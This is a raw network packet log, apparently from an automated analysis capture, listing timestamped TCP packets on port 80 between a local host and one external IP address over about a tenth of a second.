Jan 2, 2025 19:14:16.224508047 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.224528074 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224534035 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224545956 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224551916 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224565029 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224571943 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224579096 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224591017 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.224622011 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.224622011 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.224752903 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224759102 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224771976 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224777937 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224788904 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224795103 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224801064 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224807024 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224812984 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224838972 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.224838972 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.224853992 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.225039005 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.225045919 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.225080013 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.225115061 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.225199938 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.225207090 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.225295067 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.225482941 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.225488901 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.225502014 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.225553989 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.227092028 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227097988 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227104902 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227109909 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227116108 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227121115 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227128029 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227133036 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227139950 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227150917 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227157116 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227176905 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.227176905 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.227204084 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.227230072 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227243900 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227250099 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227262020 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227268934 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227278948 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227317095 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.227340937 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.227396011 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227402925 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227413893 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227418900 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227430105 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227443933 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.227504969 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.227725983 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227732897 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227740049 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227745056 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227751017 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227756023 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227763891 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227766037 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.227802992 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.227891922 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227900982 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227906942 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227912903 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227917910 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.227973938 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.228035927 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228209019 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228213072 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228224993 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228231907 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228236914 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228260040 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.228297949 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.228337049 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228351116 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228363037 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228368998 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228374958 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228379965 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228390932 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228396893 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228401899 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228413105 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228420019 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228423119 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.228423119 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.228425026 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228435993 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.228437901 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228477001 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.228517056 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228523016 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228533983 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228540897 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228547096 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228552103 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228560925 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228566885 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228566885 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.228573084 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228583097 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228589058 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228594065 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228600025 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228605986 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228669882 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228676081 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228681087 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.228681087 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.228681087 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.228688002 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228693962 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228701115 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228704929 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228709936 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228745937 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.228745937 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.228773117 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.228848934 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228862047 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228868961 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228874922 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228888988 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.228909016 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.228923082 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.228954077 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.229011059 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229018927 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229029894 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229036093 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229046106 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229052067 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229057074 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229063034 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229067087 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.229135036 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.229598999 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229604959 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229610920 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229615927 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229621887 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229652882 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.229722977 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.229756117 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229768991 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229774952 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229779959 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229793072 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229804039 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229809046 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.229809999 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229835987 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.229852915 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.229872942 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.229950905 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229959011 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.229965925 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230077028 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.230118990 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230133057 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230139017 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230144024 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230149984 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230176926 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230184078 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230189085 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230195045 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230200052 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230211973 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230216980 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230221033 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.230221033 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.230221033 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.230231047 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230278969 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.230278969 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.230617046 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230629921 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230637074 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230642080 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230648041 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230653048 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230659008 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230671883 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230678082 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230696917 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.230735064 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.230771065 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230777025 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230787992 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230793953 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230798960 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230804920 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230815887 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230839968 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.230884075 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.230945110 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.230958939 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.231045008 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.231121063 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.231134892 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.231141090 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.231146097 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.231152058 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.231158018 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.231163025 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.231168985 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.231173038 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.231174946 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.231180906 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.231187105 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.231205940 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.231257915 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.231434107 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.231575012 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.231586933 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.231595039 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.231604099 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.231606960 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.231614113 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.231636047 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.231666088 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.231909990 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.231915951 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.231930017 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.231978893 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.232062101 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.232069016 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.232080936 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.232085943 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.232099056 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.232110023 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.232115984 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.232120037 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.232121944 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.232127905 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.232163906 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.232163906 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.232572079 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.232578039 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.232654095 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.233360052 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.233580112 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.299953938 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.299961090 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.299968004 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.300028086 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.300137043 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.300143003 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.300154924 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.300194025 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.300203085 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.300215960 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.300254107 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.300379038 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.300384998 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.300398111 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.300403118 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.300432920 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.300530910 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.300537109 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.300549984 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.300596952 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.300687075 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.300700903 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.300708055 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.300719023 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.300724983 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.300729990 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.300766945 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.300795078 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.305296898 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305301905 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305308104 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305351019 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.305419922 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305424929 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305443048 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305454969 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305460930 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305465937 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305474997 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305478096 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305481911 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305485964 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.305489063 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305495024 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305500984 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305510998 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305516958 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305527925 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305530071 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.305566072 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.305566072 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.305584908 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305589914 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305603027 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305608988 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305655956 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.305655956 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.305768967 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305775881 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305783987 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305788994 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305794954 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.305816889 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.310121059 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.310275078 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.310281038 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.310292959 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.310309887 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.310373068 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.310414076 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.310425997 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.310427904 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.310472965 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.310569048 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.310573101 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.310632944 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.310709953 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.310715914 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.310729027 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.310734987 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.310740948 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.310789108 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.310789108 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.310878038 CET	80	49728	147.45.44.131	192.168.2.6
